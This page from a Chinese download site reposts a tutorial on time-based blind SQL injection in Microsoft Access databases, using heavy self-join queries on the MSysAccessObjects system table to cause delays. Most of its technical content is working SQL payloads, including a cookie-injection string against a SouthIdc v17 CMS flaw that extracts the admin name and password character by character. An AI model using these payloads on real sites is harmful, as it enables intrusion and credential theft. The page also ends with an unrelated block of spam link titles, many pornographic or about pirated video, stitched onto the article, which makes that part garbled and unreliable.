• <label id="pxtpz"><meter id="pxtpz"></meter></label>
      1. <span id="pxtpz"><optgroup id="pxtpz"></optgroup></span>

        當(dāng)前位置:雨林木風(fēng)下載站 > 辦公軟件教程 > 詳細(xì)頁面

        Access數(shù)據(jù)庫基于時間sql盲注的完成記錄

        Access數(shù)據(jù)庫基于時間sql盲注的完成記錄

        更新時間:2022-05-07 文章作者:未知 信息來源:網(wǎng)絡(luò) 閱讀次數(shù):

        Microsoft Office Access是由微軟發(fā)布的關(guān)系數(shù)據(jù)庫管理系統(tǒng)。它結(jié)合了 MicrosoftJet Database Engine 和 圖形用戶界面兩項(xiàng)特點(diǎn),是 Microsoft Office 的系統(tǒng)程序之一。Microsoft Office Access是微軟把數(shù)據(jù)庫引擎的圖形用戶界面和軟件開發(fā)工具結(jié)合在一起的一個數(shù)據(jù)庫管理系統(tǒng)。它是微軟OFFICE的一個成員, 在包括專業(yè)版和更高版本的office版本里面被單獨(dú)出售。2018年9月25日,最新的微軟Office Access 2019在微軟Office 2019里發(fā)布。

           Access是微軟把數(shù)據(jù)庫引擎的圖形用戶界面和軟件開發(fā)工具結(jié)合在一起的一個數(shù)據(jù)庫管理系統(tǒng)。本文我們來看看Access數(shù)據(jù)庫基于時間sql盲注的實(shí)現(xiàn)記錄。

          概述

          眾所周知,access數(shù)據(jù)庫是不支持基于時間的盲注方式,但是我們可以利用access的系統(tǒng)表MSysAccessObjects,通過多負(fù)荷查詢(Heavy Queries)的方式實(shí)現(xiàn)。

          初步探究

          我們以SouthIdcv17數(shù)據(jù)庫為例

          執(zhí)行 select * from Southidc_About ,返回結(jié)果如下圖。

        Access數(shù)據(jù)庫基于時間sql盲注的實(shí)現(xiàn)記錄    三聯(lián)

          如何實(shí)現(xiàn)time base injection 呢?我們就要利用這條語句

          SELECT count(*) FROM MSysAccessObjects AS T1, MSysAccessObjects AS T2, MSysAccessObjects AS T3, MSysAccessObjects AS T4, MSysAccessObjects AS T5, MSysAccessObjects AS T6,

          MSysAccessObjects AS T7,MSysAccessObjects AS T8,MSysAccessObjects AS T9,MSysAccessObjects AS T10,MSysAccessObjects AS T11,MSysAccessObjects AS T12

          具體實(shí)現(xiàn)方式如下:

          select * from Southidc_About where (SELECT count(*) FROM MSysAccessObjects AS T1, MSysAccessObjects AS T2, MSysAccessObjects AS T3, MSysAccessObjects AS T4, MSysAccessObjects AS T5, MSysAccessObjects AS T6,

          MSysAccessObjects AS T7,MSysAccessObjects AS T8,MSysAccessObjects AS T9,MSysAccessObjects AS T10,MSysAccessObjects AS T11,MSysAccessObjects AS T12)>0 and (select top 1 asc(mid(AdminName+Password,1,1)) from

          Southidc_Admin)=97

          我們可以執(zhí)行一次,觀察效果。

          很明顯,經(jīng)歷了大約40s才返回結(jié)果

        Access數(shù)據(jù)庫基于時間sql盲注的實(shí)現(xiàn)記錄

          當(dāng)我們執(zhí)行如下語句時,也就是把最后的97改為96

          select * from Southidc_About where (SELECT count(*) FROM MSysAccessObjects AS T1, MSysAccessObjects AS T2, MSysAccessObjects AS T3, MSysAccessObjects AS T4, MSysAccessObjects AS T5, MSysAccessObjects AS T6,

          MSysAccessObjects AS T7,MSysAccessObjects AS T8,MSysAccessObjects AS T9,MSysAccessObjects AS T10,MSysAccessObjects AS T11,MSysAccessObjects AS T12)>0 and (select top 1 asc(mid(AdminName+Password,1,1)) from

          Southidc_Admin)=96

        Access數(shù)據(jù)庫基于時間sql盲注的實(shí)現(xiàn)記錄

          很快就執(zhí)行完畢,沒有延時。

          很明顯,我們通過where條件后的

          (SELECT count(*) FROM MSysAccessObjects AS T1, MSysAccessObjects AS T2, MSysAccessObjects AS T3, MSysAccessObjects AS T4, MSysAccessObjects AS T5, MSysAccessObjects AS T6,

          MSysAccessObjects AS T7,MSysAccessObjects AS T8,MSysAccessObjects AS T9,MSysAccessObjects AS T10,MSysAccessObjects AS T11,MSysAccessObjects AS T12)>0

          實(shí)現(xiàn)了延時,但需要注意的是這里where后的條件是有順序的,實(shí)現(xiàn)延時的語句必須在

          1(select top 1 asc(mid(AdminName+Password,1,1)) from Southidc_Admin)=97

          之前,為什么呢?實(shí)驗(yàn)得出的結(jié)論。

          實(shí)例實(shí)現(xiàn)

          在SouthIdc 17 中,有一處sql注入漏洞,但是常規(guī)的方法并不能成功利用漏洞。漏洞代碼如下:

        Access數(shù)據(jù)庫基于時間sql盲注的實(shí)現(xiàn)記錄

          雖然程序把Post和Get的數(shù)據(jù)進(jìn)行了過濾,但是我們依舊我可以通過Cookie的提交方式進(jìn)行注入。

          好,我們實(shí)現(xiàn)一下注入利用。

          我們需要注入的語句為:

          select * from Southidc_"&request("Range")&"Sort where ViewFlag and ParentID="&ParentID&" order by ID asc

          通過提交cookie

          Range=DownSort where (SELECT count(*) FROM MSysAccessObjects AS T1, MSysAccessObjects AS T2, MSysAccessObjects AS T3, MSysAccessObjects AS T4, MSysAccessObjects AS T5, MSysAccessObjects AS T6, MSysAccessObjects AS T7,MSysAccessObjects AS T8,MSysAccessObjects AS T9,MSysAccessObjects AS T10,MSysAccessObjects AS T11,MSysAccessObjects AS T12)>0 and (select top 1 asc(mid(AdminName+Password,1,1)) from Southidc_Admin)=32 and 1=1 union select NULL,NULL,NULL,NULL,NULL,NULL from Southidc_image

          ParentID為程序上部傳進(jìn)的值,最終的語句為:

          1select * from Southidc_DownSort where (SELECT count(*) FROM MSysAccessObjects AS T1, MSysAccessObjects AS T2, MSysAccessObjects AS T3, MSysAccessObjects AS T4, MSysAccessObjects AS T5, MSysAccessObjects AS T6, MSysAccessObjects AS T7,MSysAccessObjects AS T8,MSysAccessObjects AS T9,MSysAccessObjects AS T10,MSysAccessObjects AS T11,MSysAccessObjects AS T12)>0 and (select top 1 asc(mid(AdminName+Password,1,1)) from Southidc_Admin)=32 and 1=1 union select NULL,NULL,NULL,NULL,NULL,NULL from Southidc_imageSort where ViewFlag and ParentID=1

          我們可以在查詢器中看一下效果

          96時,不延時,如圖:

        Access數(shù)據(jù)庫基于時間sql盲注的實(shí)現(xiàn)記錄

          97時延時,效果如下圖:

        Access數(shù)據(jù)庫基于時間sql盲注的實(shí)現(xiàn)記錄

          接下來,我們可以利用上述語句進(jìn)行exp的編寫,筆者這里用python

          核心代碼如下:

        Access數(shù)據(jù)庫基于時間sql盲注的實(shí)現(xiàn)記錄

        Microsoft Access在很多地方得到廣泛使用,例如小型企業(yè),大公司的部門。

        溫馨提示:喜歡本站的話,請收藏一下本站!

        本類教程下載

        系統(tǒng)下載排行

        主站蜘蛛池模板: 中文字幕看片在线a免费| 一个人看www免费高清字幕| 无码国产精品一区二区免费模式| 亚洲精品一级无码鲁丝片| 精品久久久久久亚洲中文字幕| 男女啪啪永久免费观看网站| 亚洲欧美日韩自偷自拍| 最好免费观看韩国+日本| mm1313亚洲国产精品无码试看| 国产91久久久久久久免费| 欧洲乱码伦视频免费国产| 中文字幕不卡亚洲| 少妇人妻偷人精品免费视频| 亚洲成人在线网站| 在线永久看片免费的视频| 亚洲性无码一区二区三区| 国产精品视频免费一区二区三区| 男女男精品网站免费观看| 亚洲欭美日韩颜射在线二| 久久久久久国产精品免费免费男同| 亚洲五月六月丁香激情| 久久午夜免费视频| 青青免费在线视频| 亚洲AV永久无码精品成人| 亚洲精品视频在线免费| 爱情岛论坛亚洲品质自拍视频网站| 久久久久亚洲精品天堂久久久久久 | 妻子5免费完整高清电视| 亚洲欧美日韩中文二区| 亚洲XX00视频| 国产精成人品日日拍夜夜免费| 亚洲人成综合在线播放 | 国产亚洲人成网站在线观看| 2021国内精品久久久久精免费| 亚洲中文无码亚洲人成影院| 亚洲国产成人五月综合网| 91热久久免费精品99| 国产亚洲精品国产福利在线观看| 香蕉视频在线观看亚洲| 成人爱做日本视频免费| 亚洲免费视频网站|